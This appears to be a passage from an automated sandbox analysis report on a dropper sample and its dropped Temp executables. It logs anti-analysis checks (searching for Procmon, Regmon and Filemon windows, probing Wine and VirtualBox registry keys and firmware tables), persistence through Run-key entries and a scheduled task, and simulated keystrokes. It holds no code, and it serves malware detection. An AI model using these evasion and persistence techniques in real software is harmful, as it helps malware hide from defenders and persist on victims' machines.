Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9b7d422018.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9b7d422018.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a4769912c1.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a4769912c1.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 48bf814d33.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 48bf814d33.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7617eef03d.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7617eef03d.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 20b68761b3.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 20b68761b3.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 572c19a989.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 572c19a989.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 66c6d84346.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 66c6d84346.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 768041f87c.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 768041f87c.exe

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_001CF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		6_2_001CF98E
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_00241C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		6_2_00241C41

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_6-93866

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	File opened: HKEY_CURRENT_USER\Software\Wine
